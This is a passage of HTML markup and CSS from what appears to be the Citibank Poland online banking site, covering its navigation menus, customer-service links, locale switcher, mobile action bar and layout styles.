                                                    <ul class="nav navbar-nav no-margin">
                                                        <li class="helper-menu">
                                                            <a href="https://www.citibankonline.pl/apps/customerservice/contactus/" data-warnlock="true" class="content-a" data-content-id="helpers.mobilefooter.contactus" title="Skontaktuj się z nami">

                                                                <i id="" class="cbol-icon cbol-adjust-icon cbol-icon-get-in-touch"></i>
                                                                <span class="content-label">Skontaktuj się z nami</span>
                                                            </a>
                                                        </li>
                                                        <li class="helper-menu">
                                                            <a href="https://www.citibankonline.pl/apps/customerservice/contactus/" data-warnlock="true" class="content-a" data-content-id="helpers.mobilefooter.atmbranchlocator" title="Lokalizator oddziałów i bankomatów">

                                                                <i id="" class="cbol-icon cbol-adjust-icon cbol-icon-locator"></i>
                                                                <span class="content-label">Lokalizator oddziałów i bankomatów</span>
                                                            </a>
                                                        </li>
                                                    </ul>
                                                </li>

                                                <li class="menu-item locale-menu visible-xs no-border">
                                                    <ul class="nav navbar-nav navbar-locales no-margin pull-right">
                                                        <li data-locale="en" class="menu-item locale-menu no-padding">
                                                            <a href="javascript:void(0);" class="content-a" data-content-id="helpers.locales.0" title="English">
                                                                <span class="content-label">English</span>
                                                                <i id="" class="cbol-icon cbol-xs-icon cbol-icon-arrow-down cbol-icon-bold"></i>
                                                            </a>
                                                        </li>
                                                        <li data-locale="pl" class="menu-item locale-menu no-padding                                     hide">
                                                            <a href="javascript:void(0);" class="content-a" data-content-id="helpers.locales.1" title="Polski">
                                                                <span class="content-label">Polski</span>
                                                                <i id="" class="cbol-icon cbol-xs-icon cbol-icon-arrow-down cbol-icon-bold"></i>
                                                            </a>
                                                        </li>
                                                    </ul>
                                                </li>
                                            </ul>
                                        </div>


                                        <ul class="menu-right nav navbar-nav no-margin pull-right">

                                            <li class="menu-search menu-right-item highlight-bordered position-static">
                                                <a href="javascript:void(0);" data-warnlock="true" class="highlight-colored">
                                                    <i id="" class="cbol-icon cbol-adjust-icon cbol-icon-search"></i>
                                                </a>
                                                <div class="navbar-sub-menus hidden-xs">
                                                    <div class="dropdown-menu  sub-menu-wrapper border-colored">

                                                        <div class="container-fluid keepLayout">
                                                            <div id="searchRegion"></div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </li>
                                            <li class="visible-xs">
                                                <div class="divider"></div>
                                            </li>
                                            <li class="menu-hamburger visible-xs">
                                                <a href="javascript:void(0);" class="highlight-colored">
                                                    <i id="" class="cbol-icon cbol-adjust-icon cbol-icon-hamburger"></i>
                                                </a>
                                            </li>

                                        </ul>

                                    </div>
                                </nav>
                            </div></div></section>
                    <section id="rg-mobile-stickers" class="visible-xs"><div><div id="rg-m-search" class="mobile-menu-panel menu-push-right">

                            </div>


                            <div id="rg-m-actions" class="mobile-menu-sticky menu-sticky actions-sticky">
                                <div class="show-on-postLogin bg-secondary">
                                    <style>
                                        .cbolui-ddl .header .msg-badge{
                                            background-color: red;
                                        }
                                    </style>
                                    <div class="container-fluid action-panel">
                                        <div class="row no-padding no-margin">
                                            <div class="col-lg-offset-1 col-md-offset-1 col-lg-10 col-md-10 col-sm-12 col-xs-12 no-padding">

                                                <div class="item font-zero active toggle-active" data-id="overview">
                                                    <a class="action" href="https://www.citibankonline.pl/apps/dashboard/accountsummary/" data-warnlock="true">
                                                        <i id="" class="cbol-icon cbol-icon cbol-icon-home"></i>


                                                    </a>
                                                </div>

                                                <div class="item font-zero" data-id="settings">
                                                    <a class="action" href="javascript:void(0);" data-warnlock="true" data-modal-id="#settingsModal">
                                                        <i id="" class="cbol-icon cbol-icon cbol-icon-menu-settings"></i>


                                                    </a>
                                                </div>

                                                <div class="item font-zero" data-id="actions">
                                                    <a class="action larger actionsIcon" href="javascript:void(0);" data-modal-id="#actionsModal" data-warnlock="true">
                                                        <i id="" class="cbol-icon cbol-icon cbol-icon-menu-actions img-circle bg-colored"></i>


                                                    </a>
                                                </div>

                                                <div class="item font-zero toggle-active" data-id="loan">
                                                    <a class="action" href="https://www.citibankonline.pl/apps/portal/marketplace/mp2/loans" data-warnlock="true">
                                                        <i id="" class="cbol-icon cbol-icon cbol-icon-cash-loan"></i>

                                                        <span id="loans_offer_badge" class="msg-badge bg-colored"></span>

                                                    </a>
                                                </div>

                                                <div class="item font-zero toggle-active" data-id="marketplace">
                                                    <a class="action" href="https://www.citibankonline.pl/apps/portal/marketplace" data-warnlock="true">
                                                        <i id="" class="cbol-icon cbol-icon cbol-icon-shopping-bag"></i>

                                                        <span id="offer_badge" class="msg-badge bg-colored"></span>


                                                    </a>
                                                </div>


                                                <div id="mailPopover" style="display: none"></div>
                                            </div>
                                        </div>
                                    </div>    </div>
                            </div>

                            <div id="rg-m-menus" class="mobile-menu-sticky menu-sticky">
                                <nav class="navbar-menus bg-secondary-postLogin bg-secondary-authenticated hide-on-postLogin">
                                    <div class="container-fluid position-static">

                                        <ul class="menu-right nav navbar-nav no-margin pull-right">

                                            <li class="menu-search menu-right-item highlight-bordered position-static">
                                                <a href="javascript:void(0);" class="highlight-colored">
                                                    <i id="" class="cbol-icon cbol-adjust-icon cbol-icon-search"></i>
                                                </a>
                                            </li>
                                            <li>
                                                <div class="divider"></div>
                                            </li>
                                            <li class="menu-hamburger">
                                                <a href="javascript:void(0);" class="highlight-colored">
                                                    <i id="" class="cbol-icon cbol-adjust-icon cbol-icon-hamburger"></i>
                                                </a>
                                            </li>
                                        </ul>

                                    </div>
                                </nav>

                            </div>


                            <div id="inbox-menus-wrapper" class="mobile-menu-panel menu-push-right">
                                <div class="">
                                    <ul class="inbox-menu-body nav nav-pills">
                                        <li class="menu-header visible-xs bg-colored">
                                            <a href="javascript:void(0);" class="segment-text pull-left content-a" title="Home" data-content-id="_selectedSegment">

                                                Home
                                            </a>

                                            <a href="javascript:void(0);" class="menu-close pull-right">
                                                <i id="" class="cbol-icon cbol-adjust-icon cbol-icon-close pull-right"></i>
                                            </a>
                                            <div class="divider pull-right"></div>
                                        </li>

                                        <li data-menu-id="inbox" class="inbox-menu-item

                ">
                                            <a href="https://www.citibankonline.pl/apps/customerservice/mymailbox/" class="content-a badged-link" data-content-id="helpers.notifications.subMenus.0">
                                                <span class="link-label content-label">Skrzynka odbiorcza</span>
                                                <span class="badge msg-badge"></span>
                                            </a>
                                        </li>
                                        <li data-menu-id="questionandanswer" class="inbox-menu-item

                ">
                                            <a href="https://www.citibankonline.pl/apps/customerservice/faq/" class="content-a badged-link" data-content-id="helpers.notifications.subMenus.1">
                                                Pytania i odpowiedzi
                                            </a>
                                        </li>
                                        <li data-menu-id="orderbankdocuments" class="inbox-menu-item

                ">
                                            <a href="https://www.citibankonline.pl/PLGCB/cba/eccmsos/eccmsosind.do?TTC=5442" class="content-a badged-link" data-content-id="helpers.notifications.subMenus.2">
                                                Zamów dokumenty bankowe
                                            </a>
                                        </li>
                                        <li data-menu-id="managedocs" class="inbox-menu-item

                ">
                                            <a href="https://www.citibankonline.pl/apps/customerservice/documents/" class="content-a badged-link" data-content-id="helpers.notifications.subMenus.3">
                                                Zarządzaj dokumentami
                                            </a>
                                        </li>
                                        <li data-menu-id="findabranch" class="inbox-menu-item

                ">
                                            <a href="javascript:void(0)" class="content-a badged-link" data-content-id="helpers.notifications.subMenus.4">
                                                Znajdź oddział
                                            </a>
                                        </li>
                                        <li data-menu-id="callus" class="inbox-menu-item

                ">
                                            <a href="https://www.citibankonline.pl/apps/customerservice/contactus/" class="content-a badged-link" data-content-id="helpers.notifications.subMenus.5">
                                                Kontakt z bankiem
                                            </a>
                                        </li>
                                    </ul>
                                </div>
                            </div>


                        </div></section>
                    <section id="subapp-editprofile"></section>
                </div>

                <style>
                    .cbolui-ddl .menu-sticky.sticking {
                        position: fixed;
                        top: 0;
                        width: 100%;
                        z-index: 199;
                        box-shadow: 0px 2px 2px rgba(0, 0, 0, .175);
                        transform: translate3d(0, 0, 0);
                        -webkit-transform: translate3d(0, 0, 0);
                    }

                    .cbolui-ddl .navbar-branding {
                        color: #fff;
                        border: 0 none;
                        border-radius: 0;
                        margin-bottom: 0;
                    }

                    .cbolui-ddl .nav-sub-menus {
                        background-color: white;
                    }

                    .cbolui-ddl .pad-ContactUsIcon {
                        padding-right: 5px !important;
                    }

                    .cbolui-ddl #sub-menu-body {
                        padding: 15px 0px;
                        font-size: 0rem;
                        height: 70px;
                        overflow: hidden;
                        white-space: nowrap;
                        float: left;
                    }

                    .cbolui-ddl #sub-menu-body > li {
                        display: inline-block;
                        float: none;
                        font-size: 1rem;
                    }

                    .cbolui-ddl #rg-menus .navbar-sub-menus .dropdown-menu .sub-menu-body {
                        white-space: normal;
                    }

                    .cbolui-ddl #rg-menus .navbar-sub-menus .dropdown-menu .sub-menu-item {
                        float: none;
                        display: inline-block;
                        white-space: normal;
                    }

                    .cbolui-ddl .nav-sub-menus {
                        background-color: white;
                        border-bottom: 1px solid #dedede;
                    }

                    .cbolui-ddl .nav-sub-menus .nav-pills > li > a {
                        background-color: white;
                        border: none;
                    }

                    .cbolui-ddl .nav-sub-menus .nav-pills > li > a::after {
                        color: transparent;
                        content: attr(title);
                        display: block;
                        font-weight: bold;
                        height: 0;
                        overflow: hidden;
                        visibility: hidden;
                    }

                    .cbolui-ddl .nav-sub-menus .nav-pills > li > a:hover,
                    .cbolui-ddl .nav-sub-menus .nav-pills > li > a:focus {
                        background-color: white;
                        border: none;
                    }

                    .cbolui-ddl .nav-sub-menus .nav-pills > li.active > a,
                    .cbolui-ddl .nav-sub-menus .nav-pills > li.active > a:hover,
                    .cbolui-ddl .nav-sub-menus .nav-pills > li.active > a:focus {
                        background-color: white;
                        border: none;
                    }

                    .cbolui-ddl #main-menu-items .expand-button {
                        position: relative;
                        float: right;
                        z-index: 50;
                        cursor: pointer;
                        margin: 6px 3px;
                    }
                    .cbolui-ddl #main-menu-items .expand-button span {
                        position: relative;
                        display: block;
                        width: 16px;
                        height: 16px;
                    }
                    .cbolui-ddl #main-menu-items .expand-button span:before,
                    .cbolui-ddl #main-menu-items .expand-button span:after {
                        content: "";
                        position: absolute;
                        background-color: #666;
                        transition: transform 0.25s ease-out;
                    }
                    .cbolui-ddl #main-menu-items .expand-button span:before {
                        top: 0;
                        left: 50%;
                        width: 2px;
                        height: 100%;
                        margin-left: -1px;
                    }
                    .cbolui-ddl #main-menu-items .expand-button span:after {
                        top: 50%;
                        left: 0;
                        width: 100%;
                        height: 2px;
                        margin-top: -1px;
                    }
                    .cbolui-ddl #main-menu-items .active .expand-button span:before,
                    .cbolui-ddl #main-menu-items .focused .expand-button span:before {
                        transform: rotate(90deg);
                    }
                    .cbolui-ddl #main-menu-items .active .expand-button span:after,
                    .cbolui-ddl #main-menu-items .focused .expand-button span:after {
                        transform: rotate(180deg);
                    }


                    @media (max-width: 767px) {
                        .cbolui-ddl .navbar-header {
                            float: none;
                        }
                        .cbolui-ddl .navbar-left,
                        .cbolui-ddl .navbar-right {
                            float: none !important;
                        }
                        .cbolui-ddl .navbar-toggle {
                            display: block;
                        }
                        .cbolui-ddl .navbar-collapse {
                            border-top: 1px solid transparent;
                            box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);
                        }
                        .cbolui-ddl .navbar-session {
                            min-height: 44px;
                        }
                        .cbolui-ddl .navbar-session .last-name {
                            max-width: 140px;
                            word-wrap: break-word;
                        }
                        .cbolui-ddl .menu-header {
                            border-bottom: 1px solid transparent;
                        }
                        .cbolui-ddl .menu-header .segment-text {
                            padding: 18px 15px;
                            color: white;
                        }
                        .cbolui-ddl .menu-header .profile-icon {
                            padding: 8px 0;
                            font-size: 1.1rem;
                        }
                        .cbolui-ddl .menu-header .menu-close {
                            color: white;
                            padding: 18.5px 15px;
                        }
                        .cbolui-ddl .menu-header .divider {
                            margin: 15px 1px;
                        }
                        .cbolui-ddl .sub-menu-wrapper {
                            position: relative;
                            box-shadow: none;
                        }
                        .cbolui-ddl .sub-menu-wrapper .container-fluid.keepLayout {
                            padding: 0;
                        }
                        .cbolui-ddl .sub-menu-body {
                            border-bottom: 1px solid rgba(221,221,221,1);
                            padding: 1rem 0 !important;
                        }
                        .cbolui-ddl .menu-item-last .sub-menu-body {
                            border-bottom: 0;
                        }
                        .cbolui-ddl .sub-menu-body > li {
                            border-bottom: none;
                            padding: 0;
                        }
                        .cbolui-ddl .sub-menu-body > li > a {
                            padding: 0.7rem;
                        }
                        .cbolui-ddl #main-menu-items .main-menu-item.active > a.highlight-colored,
                        .cbolui-ddl #main-menu-items .main-menu-item.focused > a.highlight-colored {
                            color: inherit !important;
                        }
                        .cbolui-ddl .active > .navbar-sub-menus,
                        .cbolui-ddl .focused > .navbar-sub-menus {
                            display: block;
                        }
                        .cbolui-ddl .active > .navbar-sub-menus .sub-menu-wrapper,
                        .cbolui-ddl .focused > .navbar-sub-menus .sub-menu-wrapper  {
                            float: none;
                        }
                        .cbolui-ddl .collapse.in {
                            display: block !important;
                        }
                        .cbolui-ddl .navbar-header,
                        .cbolui-ddl .navbar-collapse {
                            margin-left: -15px;
                            margin-right: -5px;
                        }
                        .cbolui-ddl .navbar-toplinks {
                            margin: 0 0 0 -7.5px;
                        }
                        .cbolui-ddl .citi-logo {
                            height: 31px;
                            margin: 11.5px 0px;
                            cursor: pointer;
                        }
                        .cbolui-ddl .loginout-wrapper li {
                            padding-top: 15px;
                            padding-bottom: 15px;
                            line-height: 24px;
                        }
                        .cbolui-ddl .loginout-icon {
                            display: block;
                        }
                        .cbolui-ddl .menu-paddle {
                            display: none;
                        }
                        .cbolui-ddl .menu-disabled {
                            opacity: 1;
                        }
                        .cbolui-ddl .navbar-toplinks {
                            margin: 0 !important;
                        }
                        .cbolui-ddl .loginout-btn-wrapper {
                            padding: 30px 15px;
                            width: 100%;
                        }
                        .cbolui-ddl .loginout-btn {
                            margin: 0 !important;
                            width: 100%;
                        }
                        .cbolui-ddl #subapp-header {
                            min-height: 500px;
                        }
                        .cbolui-ddl #menus-wrapper {
                            position: fixed;
                            z-index: 200;
                            background-color: #333;
                            padding-bottom: 30px;
                        }
                        .cbolui-ddl .menu-push-right {
                            width: 100%;
                            height: 100%;
                            overflow-y: scroll;
                            -webkit-overflow-scrolling: touch;
                            overflow-x: hidden;
                            top: 0;
                            right: 0;
                            transform: translateX(100%);
                            -webkit-transform: translateX(100%);
                            -ms-transform: translateX(100%);
                            visibility: hidden;
                        }
                        .cbolui-ddl .menu-push-right.is-active {
                            transform: translateX(0);
                            -webkit-transform: translateX(0);
                            -ms-transform: translateX(0);
                            visibility: visible;
                            transition: visibility 0s 0.2s, transform 0.3s;
                            -webkit-transition: visibility 0s 0.2s, transform 0.3s;
                        }
                        .cbolui-ddl .mobile-menu-panel {
                            position: fixed;
                            z-index: 200;
                            background-color: white;
                            padding: 0;
                        }
                        .cbolui-ddl .mobile-menu-panel .inbox-menu-item {
                            width: 100%;
                            padding: 0 15px;
                            border-bottom: 1px solid #666;
                            border-bottom: 1px solid rgba(221, 221, 221, 1);
                        }
                        .cbolui-ddl .mobile-menu-panel .inbox-menu-item a {
                            padding: 1.5rem 0!important;
                            color: black !important;
                            line-height: 24px;
                        }
                        .cbolui-ddl .mobile-menu-panel .menu-header {
                            width: 100%;
                        }
                        .cbolui-ddl .mobile-menu-panel .menu-header a.menu-close {
                            color: white;
                            padding: 18.5px 15px;
                        }
                        .cbolui-ddl .navbar-session a {
                            line-height: 24px;
                            color: white;
                        }
                        .cbolui-ddl .navbar-session .profile-icon-svg {
                            margin: 7px 5px 7px 15px;
                        }
                        .cbolui-ddl .loginout-wrapper li a {
                            color: #fff;
                        }
                        .cbolui-ddl .loginout-wrapper li a:focus,
                        .cbolui-ddl .loginout-wrapper li a:hover {
                            color: #999;
                        }
                        .cbolui-ddl .menu-item > a {
                            border-bottom: 1px solid #666;
                            border-bottom: 1px solid rgba(221, 221, 221, .3);
                            padding: 1.5rem 0 !important;
                            border-radius: 0;
                            color: white;
                        }
                        .cbolui-ddl .main-menu-item > a > .cbol-icon {
                            margin-top: 3px;
                        }
                        .cbolui-ddl .menu-item.menu-item-first {
                            border-top: 1px solid #666;
                            border-top: 1px solid rgba(221, 221, 221, .3);
                        }
                        .cbolui-ddl .menu-item.menu-item-last {
                            border-bottom: 1px solid #666;
                            border-bottom: 1px solid rgba(221, 221, 221, .3);
                        }
                        .cbolui-ddl .main-menu-item.menu-item-last > a,
                        .cbolui-ddl .segment-menu.no-border > a {
                            border-bottom-width: 0;
                        }
                        .cbolui-ddl .active.main-menu-item.menu-item-last > a,
                        .cbolui-ddl .focused.main-menu-item.menu-item-last > a {
                            border-bottom-width: 1px;
                        }
                        .cbolui-ddl .helper-menu.no-border a,
                        .cbolui-ddl .locale-menu.no-border a {
                            border-bottom-width: 0;
                        }
                        .cbolui-ddl .helper-menu > a {
                            padding: 1rem 0 !important;
                            border-radius: 0;
                            color: #999;
                        }
                        .cbolui-ddl .main-menu-body .helper-menu:first-child {
                            padding-top: 1.5rem !important;
                        }
                        .cbolui-ddl .main-menu-body .helper-menu:last-child {
                            border-bottom: 1px solid #666;
                            border-bottom: 1px solid rgba(221, 221, 221, .3);
                            padding-bottom: 1.5rem !important;
                        }
                        .cbolui-ddl .menu-sticker {
                            position: fixed;
                            left: 0;
                            bottom: 0;
                            width: 100%;
                            z-index: 201;
                            padding: 15px 0;
                            border-top: 1px solid #666;
                            transform: translateY(100%);
                            -webkit-transform: translateY(100%);
                            -ms-transform: translateY(100%);
                            visibility: hidden;
                        }
                        .cbolui-ddl .has-active-menu .menu-sticker {
                            transform: translateY(0);
                            -webkit-transform: translateY(0);
                            -ms-transform: translateY(0);
                            visibility: visible;
                            transition: visibility 0s 0.2s, transform 0.3s;
                            -webkit-transition: visibility 0s 0.2s, transform 0.3s;
                        }
                        .cbolui-ddl .menu-inbox > a,
                        .cbolui-ddl .menu-search > a,
                        .cbolui-ddl .menu-settings > a,
                        .cbolui-ddl .menu-hamburger > a {
                            padding: 13px !important;
                        }
                        .cbolui-ddl .menu-hamburger {
                            margin-right: -11px;
                        }
                        .cbolui-ddl .mobile-menu-sticky {
                            display: none;
                            margin-top: -2px;
                        }
                        .cbolui-ddl .mobile-menu-sticky.sticking {
                            display: block;
                        }
                        .cbolui-ddl .mobile-menu-sticky.sticking .navbar-menus {
                            padding-top: 2px;
                        }
                        .cbolui-ddl .sub-menu-body {
                            padding-right: 0 !important;
                        }
                        .cbolui-ddl .sub-menu-body > li {
                            width: 100%;
                        }
                        .cbolui-ddl .navbar-toplinks ul {
                            margin-top: 0;
                        }
                        .cbolui-ddl .navbar-toplinks {
                            display: none;
                        }
                        .cbolui-ddl .postLogin .navbar-toplinks {
                            display: block;
                        }
                        .cbolui-ddl .navbar-toplinks .navbar-nav {
                            margin: 0 -15px;
                        }
                    }

                    @media (min-width: 768px) {
                        .cbolui-ddl .citi-logo {
                            height: 31px;
                            margin: 17px 0px;
                            cursor: pointer;
                        }
                        .cbolui-ddl .logo-text {
                            display: none;
                            margin: 17px 15px;
                            border-left: 1px solid #666;
                            border-left: 1px solid rgba(221, 221, 221, .3);
                            padding: 6px 10px 0px;
                        }
                        .cbolui-ddl .logo-text > span {
                            font-size: 1.3rem;
                            line-height: 24px;
                        }
                        .cbolui-ddl .postLogin .logo-text {
                            display: block;
                        }
                        .cbolui-ddl .loginout-wrapper li {
                            padding-top: 20px;
                            padding-bottom: 20px;
                            line-height: 24px;
                        }
                        .cbolui-ddl #subapp-header {
                            background-color: white;
                        }
                        .cbolui-ddl #navbar-toplinks {
                            display: block;
                        }
                        .cbolui-ddl .loginout-icon {
                            display: none;
                        }
                        .cbolui-ddl .menu-sticky-wrapper {
                            min-height: 50px;
                        }
                        .cbolui-ddl .postLogin .menu-sticky-wrapper {
                            min-height: 0px;
                        }
                        .cbolui-ddl .main-menu-body {
                            height: 50px;
                            overflow: hidden;
                            white-space: nowrap;
                        }
                        .cbolui-ddl .sub-menu-wrapper {
                            position: absolute;
                        }
                        .cbolui-ddl .sub-menu-body > li {
                            border-bottom: 1px solid #666;
                            border-bottom: 1px solid rgba(221, 221, 221, 1);
                        }
                        .cbolui-ddl .postLogin .sub-menu-body > li {
                            border-bottom: 1px solid #666;
                            border-bottom: 1px solid rgba(221, 221, 221, .3);
                        }
                        .cbolui-ddl .sub-menu-body > li > a {
                            padding: 10px 0px;
                        }
                        .cbolui-ddl .focused > .navbar-sub-menus {
                            display: block;
                        }
                        .cbolui-ddl .menu-disabled {
                            opacity: 0.5;
                        }
                        .cbolui-ddl .loginout-wrapper li a {
                            color: white;
                        }
                        .cbolui-ddl .loginout-wrapper li a:focus,
                        .cbolui-ddl .loginout-wrapper li a:hover {
                            color: #999;
                        }
                        .cbolui-ddl .menu-item > a {
                            padding: 13px 0 10px !important;
                            border-bottom: 3px solid transparent;
                            transition: border-bottom-color 0.3s cubic-bezier(0.39, 0.575, 0.565, 1) 0s;
                            -webkit-transition: border-bottom-color 0.3s cubic-bezier(0.39, 0.575, 0.565, 1) 0s;
                            -ms-transition: border-bottom-color 0.3s cubic-bezier(0.39, 0.575, 0.565, 1) 0s;
                        }
                        .cbolui-ddl .menu-inbox > a,
                        .cbolui-ddl .menu-search > a,
                        .cbolui-ddl .menu-settings > a {
                            border-bottom: 3px solid transparent;
                            margin: 0 5px;
                            padding: 13px 7px 10px !important;
                            height: 50px;
                        }
                        .cbolui-ddl .main-menu-body li:nth-child(2) {
                            padding-left: 0;
                        }
                        .cbolui-ddl .navbar-toplinks .navbar-nav.pull-left > li {
                            padding-left: 0;
                            padding-right: 30px;
                        }
                        .cbolui-ddl .navbar-toplinks .navbar-nav.pull-right > li {
                            padding-left: 30px;
                            padding-right: 0;
                        }
                    }

                    .cbolui-ddl #toggled-menu-btn {
                        border: medium none;
                        margin: 14px 0;
                    }

                    .cbolui-ddl #prelogin-menu {
                        padding-left: 0px;
                    }

                    .cbolui-ddl .navbar-vertical-divider {
                        border-right: 1px solid rgb(255, 255, 255);
                        padding: 25px 0px;
                        margin: 12.5px 0px;
                    }

                    .cbolui-ddl .nav-footer > li > a {
                        color: #333;
                        font-size: 1rem;
                        line-height: 20px;
                        padding: 15px 15px 20px;
                    }

                    .cbolui-ddl .nav-footer > li > a:focus,
                    .cbolui-ddl .nav-footer > li > a:hover {
                        background-color: transparent;
                    }

                    .cbolui-ddl #mobile-search {
                        float: right;
                        cursor: pointer;
                        padding: 9px 10px;
                        color: white;
                        margin: 12px 0px 6px;
                    }

                    .cbolui-ddl #toggled-menu-wrapper {
                        width: 100%;
                        z-index: 999;
                        top: 0;
                    }

                    .cbolui-ddl #mobile-segment-menu {
                        margin-bottom: 0px;
                    }

                    .cbolui-ddl #mobile-menus-footer {
                        background-color: #eee;
                        color: black;
                        padding: 0px 15px;
                    }

                    .cbolui-ddl .menu-right > li:last-child {
                        padding-right: 0;
                    }

                    @media (max-width: 767px) {}

                    @media (min-width: 768px) and (max-width: 991px) {
                        .cbolui-ddl .nav-sub-menus .nav-pills > li > a {
                            padding-right: 10px;
                            padding-left: 0px;
                            font-size: 1rem;
                        }
                        .cbolui-ddl .sub-menu-body {
                            padding-right: 0 !important;
                        }
                        .cbolui-ddl .sub-menu-body > li {
                            width: 25%;
                            margin: 5px 15px 5px 15px!important;
                        }
                        .cbolui-ddl .dropdown-menus-right .sub-menu-body > li {
                            width: 200px;
                        }
                        .cbolui-ddl .main-menu-body > li,
                        .cbolui-ddl .sub-menu-body > li {
                            font-size: 0.876rem;
                        }
                        .cbolui-ddl .menu-item {
                            padding-right: 0 !important;
                        }
                    }

                    @media (min-width: 992px) and (max-width: 1199px) {
                        .cbolui-ddl .nav-sub-menus .nav-pills > li > a {
                            padding-right: 10px;
                            padding-left: 0px;
                        }
                        .cbolui-ddl .main-menu-body > li,
                        .cbolui-ddl .sub-menu-body > li {
                            font-size: 1rem;
                        }
                        .cbolui-ddl .menu-item {
                            padding-right: 0 !important;
                        }
                        .cbolui-ddl .sub-menu-body {
                            padding-right: 0 !important;
                        }
                        .cbolui-ddl .sub-menu-body > li {
                            width: 250px;
                            margin: 5px 50px 5px 15px !important;
                        }
                    }

                    @media (min-width: 1200px) {
                        .cbolui-ddl .sub-menu-body {
                            padding-right: 0 !important;
                        }
                        .cbolui-ddl .sub-menu-body > li {
                            width: 250px;
                            margin: 5px 50px 5px 0px !important;
                        }
                    }

                    .cbolui-ddl .loginout-btn {
                        color: white !important;
                    }

                    .cbolui-ddl .menu-login {
                        padding-right: 0 !important;
                    }

                    .cbolui-ddl .menu-logout {
                        padding-right: 0 !important;
                    }

                    .cbolui-ddl .navbar-toplinks {
                        background-color: #333;
                        border-radius: 0 !important;
                        min-height: 2.2rem;
                        margin-bottom: 0px;
                        font-size: 1rem;
                        border: none;
                    }

                    .cbolui-ddl .navbar-toplinks a {
                        font-size: 1rem !important;
                        padding: 5px 0 !important;
                        color: #fff !important;
                    }

                    .cbolui-ddl .navbar-toplinks a:focus,
                    .cbolui-ddl .navbar-toplinks a:hover,
                    .cbolui-ddl .hoverable:hover {
                        color: #999 !important;
                    }

                    .cbolui-ddl .navbar-sub-menus {
                        display: none;
                        position: static;
                    }

                    .cbolui-ddl .sub-menu-overview {
                        display: none !important;
                    }

                    .cbolui-ddl.mouse .sub-menu-overview {
                        display: none !important;
                    }

                    .cbolui-ddl.touch .sub-menu-overview {
                        display: inline-block !important;
                    }

                    .cbolui-ddl .sub-menu-body {
                        left: 0;
                        right: 0;
                        display: block;
                        border-radius: 0;
                        padding-top: 15px;
                        padding-bottom: 35px;
                    }

                    .cbolui-ddl .main-menu-body > li {
                        position: static;
                    }

                    .cbolui-ddl .sub-menu-wrapper {
                        display: block;
                        width: 100%;
                        border: none;
                        border-radius: 0;
                        margin-top: 0;
                    }

                    .cbolui-ddl .navbar-toplinks .nav li {
                        padding: 0 15px;
                    }

                    .cbolui-ddl .content-label {
                        display: inline-block;
                    }

                    .cbolui-ddl .logo-wrapper {
                        float: left;
                    }

                    .cbolui-ddl .loginout-wrapper {
                        float: right;
                        margin: 0;
                        -webkit-padding-start: 0px;
                        list-style: none;
                    }

                    .cbolui-ddl .menu-right li {
                        float: left;
                    }

                    .cbolui-ddl .menu-item {
                        padding: 0 15px;
                    }

                    .cbolui-ddl #main-menu-items .segment-menu a,
                    .cbolui-ddl #main-menu-items .helper-menu a,
                    .cbolui-ddl #main-menu-items .locale-menu a {
                        border-bottom-color: #666;
                        border-bottom-color: rgba(221, 221, 221, .3) !important;
                    }

                    .cbolui-ddl .dropdown-menus-right {
                        right: -25px;
                        left: auto;
                        margin-top: -1px !important;
                        background-color: transparent;
                        padding: 0;
                        width: auto;
                    }

                    .cbolui-ddl .dropdown-body-right {
                        margin-top: 10px;
                        background-color: white;
                    }

                    .cbolui-ddl .dropdown-menus-right .bigcaret {
                        position: absolute;
                        top: -10px;
                        right: 42px;
                    }

                    .cbolui-ddl .dropdown-menus-right .sub-menu-body {
                        padding: 0 !important;
                        margin: 0 !important;
                    }

                    .cbolui-ddl .dropdown-menus-right .sub-menu-item {
                        float: none;
                        display: block;
                        margin: 0 !important;
                    }

                    .cbolui-ddl .dropdown-menus-right .sub-menu-item a {
                        padding: 15px;
                    }

                    .cbolui-ddl .postLogin .dropdown-menus-right a {
                        color: black;
                    }

                    .cbolui-ddl .preLoginLink .cbol-icon-arrow-left.cbol-icon-positioned {
                        margin-left: -7px;
                    }

                    .cbolui-ddl .menu-inbox > a > .msg-badge {
                        position: absolute;
                        top: 9px;
                        right: 0px;
                    }

                    .cbolui-ddl .menu-search .dropdown-menu {
                        top: 0;
                        margin-top: 0;
                    }

                    .cbolui-ddl .notification .notification-bar {
                        padding: 0.7rem 0;
                        font-size: 1rem;
                    }

                    .cbolui-ddl .notification .notification-bar.closable {
                        padding: 0.7rem 2.2rem;
                        position: relative;
                    }

                    .cbolui-ddl .notification .notification-bar.closable .close {
                        position: absolute;
                        right: 0;
                        top: 0.2rem;
                        width: initial !important;
                        height: initial !important;
                    }

                    .cbolui-ddl .notification .notification-bar .cbol-icon {
                        position: absolute;
                        left: 0;
                    }

                    .cbolui-ddl .notification.info {
                        background-color: #002A54;
                    }

                    .cbolui-ddl .notification.warn {
                        background-color: #b31111;
                    }

                    .cbolui-ddl .notification .text,
                    .cbolui-ddl .notification .close,
                    .cbolui-ddl .notification .cbol-icon {
                        color: white !important;
                    }

                    .cbolui-ddl #searchRegion {
                        min-height: 50px;
                    }

                    .cbolui-ddl .header a.nav-item.disabled {
                        cursor: not-allowed;
                        color: grey !important;
                        display: none;
                    }

                    .cbolui-ddl .header .nav-pills>li+li {
                        margin-left: 0;
                    }

                    .cbolui-ddl .header .action.disabled {
                        cursor: not-allowed;
                        color: grey !important;
                        opacity: 1;
                    }

                    .cbolui-ddl .navbar-locales li:not(.hide){
                        display: inline-block!important;
                    }
                </style></div></header>
        <aside id="app-left-aside"></aside>
        <main id="app-main" class="position-relative"><div><div class="spacer_md-sm hidden-xs"></div>
                <div class="container-fluid no-padding-xs">
                    <div class="centerBlock full-height-overlay-layout full-height">
                        <div id="panel-subapp-body" class="center-vertical-parent mainPanel mainPanelBorder position-relative full-height bg-white"><div><style>
                                    .cbolui-ddl .centerAlign {
                                        text-align: center
                                    }

                                    .cbolui-ddl .list-unstyle {
                                        padding-left: 5px;
                                        list-style: none
                                    }

                                    .cbolui-ddl .progressbar-hide .progress-indicator .progress-indicator-step-active:after {
                                        opacity: 0
                                    }

                                    .cbolui-ddl .progressbar-hide .progress-indicator .progress-indicator-step:after {
                                        opacity: 0
                                    }

                                    .cbolui-ddl .progressbar-hide .progress-indicator .progress-indicator-step-finished:before {
                                        content: '';
                                        position: absolute;
                                        left: 0;
                                        right: 0;
                                        top: auto;
                                        height: 4px;
                                        background-color: #056dae
                                    }

                                    .cbolui-ddl .progressbar-hide #progressBar_root li.progress-indicator-step-active:before {
                                        content: '';
